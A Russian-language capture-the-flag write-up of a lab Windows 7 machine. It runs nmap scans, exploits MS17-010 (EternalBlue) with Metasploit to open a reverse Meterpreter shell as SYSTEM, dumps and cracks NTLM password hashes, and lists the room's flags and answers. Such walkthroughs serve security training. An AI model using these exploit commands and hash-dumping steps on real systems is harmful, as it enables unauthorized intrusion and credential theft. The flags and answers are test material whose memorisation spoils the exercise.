Обзор сервисов
В моем случае IP-адрес машины 10.10.6.185
. Запустим nmap и посмотрим, какие сервисы есть на машине:
$ nmap -sV -sC -Pn -oN 10.10.6.185 10.10.6.185
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-19 12:33 EDT
Nmap scan report for 10.10.6.185
Host is up (0.071s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=Jon-PC
| Not valid before: 2023-06-18T16:33:00
|_Not valid after: 2023-12-18T16:33:00
| rdp-ntlm-info:
| Target_Name: JON-PC
| NetBIOS_Domain_Name: JON-PC
| NetBIOS_Computer_Name: JON-PC
| DNS_Domain_Name: Jon-PC
| DNS_Computer_Name: Jon-PC
| Product_Version: 6.1.7601
|_ System_Time: 2023-06-19T16:35:23+00:00
|_ssl-date: 2023-06-19T16:35:28+00:00; +1s from scanner time.
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: JON-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:d9:62:dc:86:73 (unknown)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: Jon-PC
| NetBIOS computer name: JON-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-06-19T11:35:23-05:00
| smb2-time:
| date: 2023-06-19T16:35:23
|_ start_date: 2023-06-19T16:32:58
|_clock-skew: mean: 1h00m00s, deviation: 2h14m09s, median: 0s
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.60 seconds
Как видно, открыты стандартные Windows-порты. Количество сервисов с портом ниже 1000 равняется 3.
Проверим уязвимости Samba протокола (445 порт):
$ nmap -p445 --script smb-vuln-* 10.10.6.185
Starting Nmap 7.94 ( <https://nmap.org> ) at 2023-06-19 12:39 EDT
Nmap scan report for 10.10.6.185
Host is up (0.062s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| <https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/>
| <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143>
|_ <https://technet.microsoft.com/en-us/library/security/ms17-010.aspx>
|_smb-vuln-ms10-054: false
Nmap done: 1 IP address (1 host up) scanned in 7.04 seconds
Машина уязвима к ms17-010 (EternalBlue).
Публичный эксплоит
Воспользуемся mfsconsole для эксплуатации. Пропишем параметры сканируемой машины 10.10.6.185 и наш IP-адрес в лабораторной VPN-сети 10.18.21.29:
$ msfconsole
msf6> use use ms17-010
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> options
msf6> set LHOST 10.18.21.29
msf6> set RHOSTS 10.10.6.185
msf6> run
[*] Started reverse TCP handler on 10.18.21.29:4444
[*] 10.10.6.185:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.6.185:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.6.185:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.6.185:445 - The target is vulnerable.
[*] 10.10.6.185:445 - Connecting to target for exploitation.
[+] 10.10.6.185:445 - Connection established for exploitation.
[+] 10.10.6.185:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.6.185:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.6.185:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.6.185:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.6.185:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.6.185:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.6.185:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.6.185:445 - Sending all but last fragment of exploit packet
[*] 10.10.6.185:445 - Starting non-paged pool grooming
[+] 10.10.6.185:445 - Sending SMBv2 buffers
[+] 10.10.6.185:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.6.185:445 - Sending final SMBv2 buffers.
[*] 10.10.6.185:445 - Sending last fragment of exploit packet!
[*] 10.10.6.185:445 - Receiving response from exploit packet
[+] 10.10.6.185:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.6.185:445 - Sending egg to corrupted connection.
[*] 10.10.6.185:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.10.6.185
[*] Meterpreter session 1 opened (10.18.21.29:4444 -> 10.10.6.185:49185) at 2023-06-19 12:44:19 -0400
[+] 10.10.6.185:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.6.185:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.6.185:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Нам повезло, мы имеем самый высокий уровень доступа в системе:
meterpreter > shell
Process 1080 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Пользовательские NTLM хеши
Дампнем NTLM хеши пользователей в системе:
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
Попробуем поискать их на crackstation.net:
Нашлись креды Jon:alqfna22
.
Флаги
Первый
В корне системного диска, flag{access_the_machine}:
Второй
В директории C:\Windows\System32\config, flag{sam_database_elevated_access}:
Третий
В директории C:\Users\Jon\Documents, flag{admin_documents_can_be_valuable}:
Часть про апгрейд шелла
Лучше выполнить секцию с апгрейдом шелла самому, но ниже приведены ответы на эту часть задания:
post/multi/manage/shell_to_meterpreter
SESSION